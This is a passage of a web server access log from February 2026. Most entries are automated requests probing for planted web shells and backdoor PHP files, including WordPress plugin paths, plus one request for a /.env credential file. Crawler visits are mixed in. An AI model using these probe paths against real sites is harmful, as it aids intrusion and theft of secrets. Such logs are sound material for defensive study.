+0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:13 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:17 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:23 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:37:13 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:38:31 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:25:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:02 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:05 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:09 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:11 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:14 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:18 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:21 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:24 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:28 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:46 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:49 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:52 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:20 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:23 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:26 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:29 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:31 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:23 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:27 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:26 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:30 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:34 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:35 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:39 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:42 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:46 +0300] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:49 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:52 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:09 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:42 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:43 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:08 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:37:59 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:38:40 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:56 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:59 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:33 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:49 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:12 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:16 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:45 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:45 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:57 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:29 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:56 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:01 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:37:48 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:25 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:51 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:41:00 +0300] "GET /PWN.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:18 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:40 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:43 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:46 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:46 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:50:06 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:41:05 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 83.99.206.176 - - [16/Feb/2026:23:45:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoShopProductFinder) Chrome/142.0.0.0 Safari/537.36" 20.100.191.215 - - [16/Feb/2026:23:47:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:00 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:49:28 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:41:11 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:25 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:26 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:28 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:30 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:48:34 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:49:35 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:49:01 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:49:03 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [16/Feb/2026:23:49:06 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 43.133.220.37 - - [17/Feb/2026:02:52:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.139.242.79 - - [17/Feb/2026:03:01:47 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 43.155.162.41 - - [17/Feb/2026:01:56:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.217.234 - - [17/Feb/2026:04:09:41 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:44 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:03 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:06 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:19 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:32 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:35 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:38 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:55 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:58 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:34 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:37 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:43 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:10 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:14 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:27 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:53 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:09:56 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:17 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:48 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [17/Feb/2026:04:08:50 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 110.166.71.39 - - [17/Feb/2026:05:37:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.255.203.179 - - [17/Feb/2026:06:05:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.202.4.80 - - [17/Feb/2026:05:01:52 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 116.76.38.100 - - [17/Feb/2026:06:41:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.2816.58 Safari/537.36 Edge/18.18362" 51.107.69.151 - - [17/Feb/2026:07:39:34 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 43.135.134.127 - - [17/Feb/2026:08:02:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.107.69.151 - - [17/Feb/2026:07:38:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:28 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:39 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:43 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:46 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:49 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:53 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:55 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:57 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:40:00 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:40:03 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 66.249.79.173 - - [17/Feb/2026:07:19:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 51.107.69.151 - - [17/Feb/2026:07:39:02 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:05 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:09 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:12 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:15 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:19 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:39:21 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:40:09 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:07:40:11 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 34.229.241.186 - - [17/Feb/2026:06:27:32 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 51.68.234.96 - - [17/Feb/2026:07:12:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/122 Safari/537.36" 66.249.79.161 - - [17/Feb/2026:07:19:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.158.91.71 - - [17/Feb/2026:09:03:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 36.111.67.189 - - [17/Feb/2026:11:50:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.107.69.151 - - [17/Feb/2026:13:20:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:21:09 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:55 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:55 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:55 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:55 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:55 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:52:56 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 43.130.3.120 - - [17/Feb/2026:13:59:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.107.69.151 - - [17/Feb/2026:13:20:31 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:33 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:36 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:37 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:40 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:44 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 173.252.70.11 - - [17/Feb/2026:13:03:26 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 51.107.69.151 - - [17/Feb/2026:13:22:12 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:53:02 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:53:02 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:53:02 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:53:02 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:53:02 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [17/Feb/2026:13:53:02 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:21:59 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:21:37 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:22:20 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:22:32 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:22:33 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:19 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 192.36.109.132 - - [17/Feb/2026:12:39:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 51.107.69.151 - - [17/Feb/2026:13:20:52 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:54 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:57 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:20:59 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:21:25 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 51.107.69.151 - - [17/Feb/2026:13:21:52 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 91.92.242.178 - - [17/Feb/2026:15:02:03 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.156.156.96 - - [17/Feb/2026:14:52:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.105.222.32 - - [17/Feb/2026:15:43:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 20.188.56.166 - - [17/Feb/2026:16:59:31 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 17.241.227.46 - - [17/Feb/2026:17:43:22 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.46 - - [17/Feb/2026:17:43:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 20.111.62.157 - - [17/Feb/2026:18:32:00 +0300] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:04 +0300] "GET /ctex1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:10 +0300] "GET /t1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:33:24 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 36.41.75.167 - - [17/Feb/2026:18:26:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.111.62.157 - - [17/Feb/2026:18:31:30 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:31:54 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:33:11 +0300] "GET /sidup.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:34:03 +0300] "GET /wp-ranku.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:34:16 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:35:00 +0300] "GET /parx.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:35:44 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:31:47 +0300] "GET /abt.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:34:27 +0300] "GET /kr.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:42 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:43 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:47 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:57 +0300] "GET /asq.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:33:51 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:35:24 +0300] "GET /Run.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:32:21 +0300] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 173.252.82.13 - - [17/Feb/2026:18:34:09 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 20.111.62.157 - - [17/Feb/2026:18:33:32 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [17/Feb/2026:18:34:45 +0300] "GET /nfu.php HTTP/1.1" 301 795 "-" "-" 49.51.195.195 - - [17/Feb/2026:19:40:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.189.27.110 - - [17/Feb/2026:19:27:41 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.111.62.157 - - [17/Feb/2026:18:36:00 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "-" 103.129.22.228 - - [17/Feb/2026:20:35:38 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 